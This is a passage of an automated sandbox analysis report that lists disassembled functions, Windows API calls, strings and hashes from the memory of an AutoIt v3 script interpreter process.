SetTimer.USER32 ref: 00007FF6B5B25ED9
RegisterWindowMessageW.USER32 ref: 00007FF6B5B25EE6
CreatePopupMenu.USER32 ref: 00007FF6B5B25EFC
PostQuitMessage.USER32 ref: 00007FF6B5B25F23

Strings

TaskbarCreated, xrefs: 00007FF6B5B25EDF

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction ID: bbb6e6c8f8b90649f17ebe5878e0ecd4f134cc44e9915fe8db80844edb301de9
Opcode Fuzzy Hash: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction Fuzzy Hash: 2051593290C65682F770AB1DE8699F92A61AF46F40F440535D64DD62EFCF6EFD058310

Function 00007FF6B5B23D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF6B5B23DE5
RegisterClassExW.USER32 ref: 00007FF6B5B23E16
RegisterWindowMessageW.USER32 ref: 00007FF6B5B23E2A
InitCommonControlsEx.COMCTL32 ref: 00007FF6B5B23E48
ImageList_Create.COMCTL32 ref: 00007FF6B5B23E63
LoadIconW.USER32 ref: 00007FF6B5B23E7C
ImageList_ReplaceIcon.COMCTL32 ref: 00007FF6B5B23E8F

Strings

TaskbarCreated, xrefs: 00007FF6B5B23E1C
AutoIt v3 GUI, xrefs: 00007FF6B5B23DF8

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-2659433951
Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction ID: 43dae3c5a2063321edd787a10cb9f87a500855f7b7c6e57d5f3862dd75103110
Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction Fuzzy Hash: 66317836A08B018AE740CF65E8597E837B5FB45B49F500138CA8C93BA9DF7CD959CB40

Function 00007FF6B5B3E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM ref: 00007FF6B5B3E9C3
OleUninitialize.OLE32 ref: 00007FF6B5B3EABF
UnregisterHotKey.USER32(?,?,?,00007FF6B5B3E939), ref: 00007FF6B5B3ECD9
DestroyWindow.USER32(?,?,?,00007FF6B5B3E939), ref: 00007FF6B5B827E4

Strings

close all, xrefs: 00007FF6B5B3E9B7

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: DestroySendStringUninitializeUnregisterWindow
String ID: close all
API String ID: 1992507300-3243417748
Opcode ID: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
Instruction ID: e331aa7642b696804a177ef266cbe01a220b0c9d9058372bfe109c9c505a9cbb
Opcode Fuzzy Hash: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
Instruction Fuzzy Hash: F1E10022B0994281EE68DB1AC5702FC6360BF96F44F545076DB0EA729BDF3DEC668701

Function 00007FF6B5B23B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF6B5B23B9E
LoadCursorW.USER32 ref: 00007FF6B5B23BAE
LoadIconW.USER32 ref: 00007FF6B5B23BC3
LoadIconW.USER32 ref: 00007FF6B5B23BDC
LoadIconW.USER32 ref: 00007FF6B5B23BF5
LoadImageW.USER32 ref: 00007FF6B5B23C21
RegisterClassExW.USER32 ref: 00007FF6B5B23C85

Part of subcall function 00007FF6B5B23D90: GetSysColorBrush.USER32 ref: 00007FF6B5B23DE5
Part of subcall function 00007FF6B5B23D90: RegisterClassExW.USER32 ref: 00007FF6B5B23E16
Part of subcall function 00007FF6B5B23D90: RegisterWindowMessageW.USER32 ref: 00007FF6B5B23E2A
Part of subcall function 00007FF6B5B23D90: InitCommonControlsEx.COMCTL32 ref: 00007FF6B5B23E48
Part of subcall function 00007FF6B5B23D90: ImageList_Create.COMCTL32 ref: 00007FF6B5B23E63
Part of subcall function 00007FF6B5B23D90: LoadIconW.USER32 ref: 00007FF6B5B23E7C
Part of subcall function 00007FF6B5B23D90: ImageList_ReplaceIcon.COMCTL32 ref: 00007FF6B5B23E8F

Strings

AutoIt v3, xrefs: 00007FF6B5B23C3F

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: AutoIt v3
API String ID: 423443420-1704141276
Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction ID: dd191f7c884037648c81da93d5582472eead897d16e216500e0e53afa59c9ce7
Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction Fuzzy Hash: 4E313936A08B12CAE781CB94F8597E83775FB88B45F400039CA8DA379ADF7CD8558700

Function 00007FF6B5B67348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B5B67078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B670B9
Part of subcall function 00007FF6B5B67078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B67136
Part of subcall function 00007FF6B5B67078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B67187

CreateFileW.KERNELBASE ref: 00007FF6B5B67449
CreateFileW.KERNEL32 ref: 00007FF6B5B674A5
GetLastError.KERNEL32 ref: 00007FF6B5B674D9
GetFileType.KERNELBASE ref: 00007FF6B5B674EE
GetLastError.KERNEL32 ref: 00007FF6B5B674F8
CloseHandle.KERNEL32 ref: 00007FF6B5B6752B
CloseHandle.KERNEL32 ref: 00007FF6B5B67684
CreateFileW.KERNEL32 ref: 00007FF6B5B676BC
GetLastError.KERNEL32 ref: 00007FF6B5B676CB

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction ID: e3592b8dc887cc28a71fe337a1c60caf2d4fc06a2f05bf7514f73cf3c99cf545
Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction Fuzzy Hash: 4BC1AE32B18B418AEB548F68D4617EC3761E74ABA8F041225DF2E9B7DADF78D855C300

Function 00007FF6B5B325BC Relevance: 12.4, APIs: 8, Instructions: 442
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 00007FF6B5B326DA
timeGetTime.WINMM ref: 00007FF6B5B328BC
PeekMessageW.USER32 ref: 00007FF6B5B329E3
TranslateMessage.USER32 ref: 00007FF6B5B32A23
DispatchMessageW.USER32 ref: 00007FF6B5B32A2D
PeekMessageW.USER32 ref: 00007FF6B5B32A47

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Message$Peek$DispatchInputStateTimeTranslatetime
String ID:
API String ID: 3249950245-0
Opcode ID: 4e5214824c5420639b9de00f29baad83bafa904f2dd3af1d4c39dffda22c8357
Instruction ID: 40696a8ba323d84f274188791f9abf10abaf73fbefc926f961032970e890d358
Opcode Fuzzy Hash: 4e5214824c5420639b9de00f29baad83bafa904f2dd3af1d4c39dffda22c8357
Instruction Fuzzy Hash: 47226B32A0C6828BFB758B28E4643F977A1EB46F84F544135DB4E9669ACF3CE845C701

Function 00007FF6B5B23CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00007FF6B5B23D0C
CreateWindowExW.USER32 ref: 00007FF6B5B23D5F
ShowWindow.USER32 ref: 00007FF6B5B23D75

Strings

edit, xrefs: 00007FF6B5B23D18
AutoIt v3, xrefs: 00007FF6B5B23CC8
d, xrefs: 00007FF6B5B23CF4

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$Create$Show
String ID: AutoIt v3$d$edit
API String ID: 2813641753-2600919596
Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction ID: a27a4208e43831985199bef976ac2953187ce88757bc8a76e9c928766371802f
Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction Fuzzy Hash: 12216A72A28B41C7E750CB18F4997A977B1F789B99F004238E68D86699CFBDC445CB00

Function 00007FF6B5B27EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B5B42D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6B5B27FA5), ref: 00007FF6B5B42D8E
Part of subcall function 00007FF6B5B42D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6B5B27FA5), ref: 00007FF6B5B42D9C
Part of subcall function 00007FF6B5B42D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6B5B27FA5), ref: 00007FF6B5B42DAC
Part of subcall function 00007FF6B5B42D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6B5B27FA5), ref: 00007FF6B5B42DBC
Part of subcall function 00007FF6B5B42D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6B5B27FA5), ref: 00007FF6B5B42DCA
Part of subcall function 00007FF6B5B42D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6B5B27FA5), ref: 00007FF6B5B42DD8

Part of subcall function 00007FF6B5B3EEC8: RegisterWindowMessageW.USER32 ref: 00007FF6B5B3EF76

GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B2106D), ref: 00007FF6B5B28209
OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B2106D), ref: 00007FF6B5B2828F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B2106D), ref: 00007FF6B5B6D36A

Strings

AutoIt, xrefs: 00007FF6B5B27F46

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: AutoIt
API String ID: 1986988660-2515660138
Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction ID: 7a9d4377883458ff95015ae03949b9b06a925ea8049604e14bda368a23c615cd
Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction Fuzzy Hash: B8C1FD22D18B6686F682DF1CA85A0F477B6BF95B40F10023ED64DE266BDF7C6941C780

Function 00007FF6B5B272C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00007FF6B5B2739E
Shell_NotifyIconW.SHELL32 ref: 00007FF6B5B273AC
LoadStringW.USER32 ref: 00007FF6B5B6CE12

Strings

Line: , xrefs: 00007FF6B5B6CE52

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: IconLoadNotifyShell_Stringwcscpy
String ID: Line:
API String ID: 3135491444-1585850449
Opcode ID: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
Instruction ID: cf30c3e25574d9f6cd182e0e7b50abde0908ecfed8b3c3a278dc75d3416f75ae
Opcode Fuzzy Hash: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
Instruction Fuzzy Hash: A641C522A0C68696E720DB28D4612F92771FB46B84F941035E78C8369FDFBDED45CB50

Function 00007FF6B5B23F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32 ref: 00007FF6B5B6BAA2

Part of subcall function 00007FF6B5B256D4: GetFullPathNameW.KERNEL32(?,00007FF6B5B256C1,?,00007FF6B5B27A0C,?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B256FF

Part of subcall function 00007FF6B5B23EB4: GetLongPathNameW.KERNELBASE ref: 00007FF6B5B23ED8

Strings

au3, xrefs: 00007FF6B5B6BA80
Run Script:, xrefs: 00007FF6B5B6BA4D
AutoIt script files (*.au3, *.a3x), xrefs: 00007FF6B5B6BA74

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
API String ID: 779396738-2360590182
Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction ID: 35a3f7fad13015b4ba6125ac332f5470b2602a6f674a82a7283678454c9b5daf
Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction Fuzzy Hash: AA316C62608B8289E710DF29E8501E9BBA4FB4AF84F584135DB8C87B5ADF3DD945CB10

Function 00007FF6B5B44610 Relevance: 4.6, APIs: 3, Instructions: 67timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B272C8: wcscpy.LIBCMT ref: 00007FF6B5B2739E
Part of subcall function 00007FF6B5B272C8: Shell_NotifyIconW.SHELL32 ref: 00007FF6B5B273AC

KillTimer.USER32 ref: 00007FF6B5B446A8
SetTimer.USER32 ref: 00007FF6B5B446BD
Shell_NotifyIconW.SHELL32 ref: 00007FF6B5B8AAAD

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: IconNotifyShell_Timer$Killwcscpy
String ID:
API String ID: 3812282468-0
Opcode ID: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
Instruction ID: d59cf7bac6d503c60b41b50eb42ddae4b7a1a49195d777ae3b149df4cc4ae4bc
Opcode Fuzzy Hash: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
Instruction Fuzzy Hash: 6031D122A0C78287EB618B2990602F97798EB46F84F185076CF4C47B8ECE3CDA44CB50

Function 00007FF6B5B26F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF6B5B26F52,?,?,?,?,?,?,00007FF6B5B2782C), ref: 00007FF6B5B26FA5
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF6B5B26F52,?,?,?,?,?,?,00007FF6B5B2782C), ref: 00007FF6B5B26FD3
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF6B5B26F52,?,?,?,?,?,?,00007FF6B5B2782C), ref: 00007FF6B5B26FFA

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction ID: 745cf16643ffaa1a7060a4b5e0a9548c7665e5767704896a092c6b91db8c2ecf
Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction Fuzzy Hash: 9F219D33A18B4187D7108F29E4609AE77A4FB49F84B441135EB8DC3B59DF3AE814CB04

Function 00007FF6B5B49118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6B5B490FC), ref: 00007FF6B5B49140
TerminateProcess.KERNEL32(?,?,?,00007FF6B5B490FC), ref: 00007FF6B5B4914B
ExitProcess.KERNEL32 ref: 00007FF6B5B4915A

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction ID: 5fc0d73ff7a2584eb753036771e725775a2c88d77594380792fb61124560e022
Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction Fuzzy Hash: 0CE01A20B0430582EB546B689CA9BF92352AF8AF51F105038CA0E833DBCE3DEC088600

Function 00007FF6B5B366C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF6B5B36C05

Strings

CALL, xrefs: 00007FF6B5B36BCE

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 24061c5982f2d3e817e045593c76e51459b54cde2f485c3431a9fa5c614c0b1a
Instruction ID: 882cbd5d0c3f745a45675007f0bd0ecba929f03e8f1be8dfdff6ab6d4577420e
Opcode Fuzzy Hash: 24061c5982f2d3e817e045593c76e51459b54cde2f485c3431a9fa5c614c0b1a
Instruction Fuzzy Hash: 65224F72A086428AEB24DF69D4602FC37A1FB45F84F50413ADB4DA779ADF39E856C340

Function 00007FF6B5B26838 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF6B5B268A2

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
